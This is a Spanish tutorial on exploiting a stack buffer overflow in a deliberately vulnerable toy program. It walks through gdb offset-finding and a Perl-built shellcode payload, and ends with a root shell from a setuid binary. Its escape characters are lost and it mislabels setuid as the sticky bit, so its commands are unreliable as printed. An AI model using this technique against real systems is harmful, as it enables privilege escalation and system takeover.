En el artículo anterior explicamos la forma mas sencilla de manipular la pila gracias a un error de programación, de este modo conseguiamos que el programa restornase de una función a una dirección de memoria que no era la correcta, pero porque no hacerlo mas interesante y hacer que en esa dirección de memoria haya un código que pueda sernos útil. En nuestro ejemplo se tratará de una shell, de este modo al explotar el bug obtendremos shell con el usuario con el que se estuviese corriendo el software, para hacerlo mas impactante vamos a asignarle el sticky bit de este modo obtendremos shell de root.
Siguiendo con el ejemplo anterior tenemos un software que no comprueba la entrada del usuario, gracias a este error podíamos llegar a sobreescribir el valor del EIP en la pila, al retornar de la función vulnerable terminabamos ejecutando de nuevo la función y realizando dos printfs en pantalla, ahora vamos a utilizar la variable de entrada para dejar en cierta posición de la pila lo que se llama como shellcode, esto es el código útil que nos interesa que se ejecute, dejaremos para mas adelante el modo de generar una shellcode pero aquí podemos encontrar un gran repertorio.
La shellcode elegida es esta:
x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80
Ya tenemos nuestra shellcode y aunque la metamos en la entrada del programa todavía nos queda un problema por resolver, en que dirección de la memoria comienza el ESP que es donde vamos a dejar nuestra shellcode? El valor de ESP no es donde comienza nuestra variable exactamente, si no un valor aproximado, para averiguarlo con certeza utilizaremos gdb:
Gdb nos permite visualizar los valores de las direcciones de memoria en todo momento, lo que vamos a hacer es poner un breakpoint justo antes y después de la copia de la variable, así podremos ver nuestra entrada en las direcciones de memoria cercanas al ESP y saber en que dirección comienza la variable, de este modo sobreescribiremos el EIP con ese valor y ejecutará la shellcode al retornar de la función:
(gdb) set disassembly-flavor intel
(gdb) disassemble func
Dump of assembler code for function func:
0x080484ac <+0>: push ebp
0x080484ad <+1>: mov ebp,esp
0x080484af <+3>: sub esp,0x38
0x080484b2 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080484b5 <+9>: mov DWORD PTR [esp+0x4],eax
0x080484b9 <+13>: lea eax,[ebp-0x28]
0x080484bc <+16>: mov DWORD PTR [esp],eax
0x080484bf <+19>: call 0x8048370 <strcpy@plt>
0x080484c4 <+24>: lea eax,[ebp-0x28]
0x080484c7 <+27>: mov DWORD PTR [esp+0x4],eax
0x080484cb <+31>: mov DWORD PTR [esp],0x80485c0
0x080484d2 <+38>: call 0x8048360 <printf@plt>
0x080484d7 <+43>: leave
0x080484d8 <+44>: ret
End of assembler dump.
(gdb) break *func+19
Breakpoint 1 at 0x80484bf
(gdb) break *func+24
Breakpoint 2 at 0x80484c4
(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/kr0m/overrun `perl -e 'print "A"x48'`
Breakpoint 1, 0x080484bf in func ()
(gdb) x/16x $esp
0xbffff700: 0xbffff710 0xbffff93c 0xbffff727 0x00000001
0xbffff710: 0x00000000 0xbffff7b0 0xb7fd6ce0 0x08048334
0xbffff720: 0xb7ff0590 0x080497bc 0xbffff758 0x0804858b
0xbffff730: 0x00000002 0xbffff804 0xbffff758 0x08048519
(gdb) c
Continuing.
Breakpoint 2, 0x080484c4 in func ()
(gdb) x/16x $esp
0xbffff700: 0xbffff710 0xbffff93c 0xbffff727 0x00000001
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
Con esto hemos obtenido la dirección de memoria del principio de nuestra variable que es donde queremos almacenar nuestra shellcode.
(gdb) c
Continuing.
Alfaexploit overrun proof of concept, welcome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) delete breakpoints
(gdb) run `perl -e 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"'`
Starting program: /home/kr0m/overrun `perl -e 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"'`
Alfaexploit overrun proof of concept, welcome: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x4c4c4c4c in ?? ()
En hexadecimal 4c –> LLLL, buscamos la dirección donde están los datos que sobreescriben el EIP:
(gdb) x/32x $esp-32
0xbffff6f0: 0x45454545 0x46464646 0x47474747 0x48484848
0xbffff700: 0x49494949 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c
0xbffff710: 0x4d4d4d4d 0x4e4e4e4e 0x4f4f4f4f 0x50505050
0xbffff720: 0x51515151 0x52525252 0x53535353 0x54545454
0xbffff730: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff740: 0x59595959 0x5a5a5a5a 0xb7ffef00 0x080482a1
0xbffff750: 0x00000001 0xbffff790 0xb7fefc16 0xb7fffac0
0xbffff760: 0xb7fe0b58 0xb7fd5ff4 0x00000000 0x00000000
(gdb) x/x 0xbffff70c
0xbffff70c: 0x4c4c4c4c
Es en esta posición de memoria donde debemos dejar el valor de la dirección del inicio de nuesta variable, donde estará nuestra shellcode. Hay 44 chars desde la la AAAA hasta la KKKK, nuestra shellcode ocupa 23 por lo tanto necesitamos 21 de padding: 21+23=44, a continuación la dirección donde esté nuestra shellcode, de este modo cuando retorne ejecutará dicha shellcode.
Si ejecutamos el programa desde el depurador nos ofrecerá una shell pero si lo hacemos desde fuera no, esto es debido a que gdb lo arranca con la ruta completa por lo tanto las variables de entorno son diferentes a cuando se ejecuta desde la ruta relativa, como son distintas ocupan diferentes tamaños y las posiciones de memoria cambian:
(gdb) run `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kr0m/overrun `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'`
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿
process 3544 is executing new program: /bin/dash
$
En cambio desde fuera:
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿
Violación de segmento
Para averiguar el valor desde fuera del debugger debemos habilitar los core dumps o seguir este
segundo
procedimiento utilizando la herramienta externa botox, pero yo prefiero hacerlo con el core:
Lanzamos el programa con una entrada justa como para sobreescribir el valor de EIP:
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿
Violación de segmento (`core' generado)
Arrancamos el debugger con el core:
[New LWP 3554]
Core was generated by `./overrun 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffff710 in ?? ()
Sabemos que cerca del ESP debe de estar nuestra entrada, es en ese punto donde comenzará nuestra shellcode:
(gdb) x/50x $esp-50
0xbffff74e: 0xc9310000 0xd231c031 0x68510bb0 0x68732f2f
0xbffff75e: 0x69622f68 0xcde3896e 0x41414180 0x41414141
0xbffff76e: 0x41414141 0x41414141 0x41414141 0xf7104141
0xbffff77e: 0xf900bfff 0x0590bfff 0x854bb7ff 0x5ff40804
0xbffff78e: 0x8540b7fd 0x00000804 0xf8180000 0xce66bfff
0xbffff79e: 0x0002b7e8 0xf8440000 0xf850bfff 0x0860bfff
0xbffff7ae: 0x6821b7fe 0xffffb7ff 0xeff4ffff 0x82a1b7ff
0xbffff7be: 0x00010804 0xf8000000 0xfc16bfff 0xfac0b7fe
0xbffff7ce: 0x0b58b7ff 0x5ff4b7fe 0x0000b7fd 0x00000000
0xbffff7de: 0xf8180000 0xa167bfff 0xb777c4ae 0x0000eadd
0xbffff7ee: 0x00000000 0x00000000 0x00020000 0x83c00000
0xbffff7fe: 0x00000804 0x59c00000 0xcd8bb7ff 0xeff4b7e8
0xbffff80e: 0x0002b7ff 0x83c00000
Podemos ver nuestra shellcode, obtenemos la dirección exacta con:
(gdb) x/x 0xbffff750
0xbffff750: 0xc031c931
0xbffff750 es la dirección de memoria donde debe apuntar EIP!!
Como comentabamos en la introducción del artículo vamos a ejecutar el software con un usuario regular, asignaremos el
stickybit
en el software vulnerable, de este modo en el momento de la explotación tendrá permisos de root y la shell que nos ofrecerá será de root ;)
su
chown root:root overrun
chmod 4771 overrun
kr0m@reversedbox:~$ whoami
kr0m
uid=1000(kr0m) gid=1000(kr0m) grupos=1000(kr0m),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x50xf7xffxbf"'
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAAP÷ÿ¿
root
uid=1000(kr0m) gid=1000(kr0m) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(kr0m)
#
Ya veis como de grave puede ser un error de programación en un demonio que esté corriendo como root, el atacante a partir de ahí sería capaz de hacer lo que quisiese con el SO, troyanizarlo, instalar rootkits….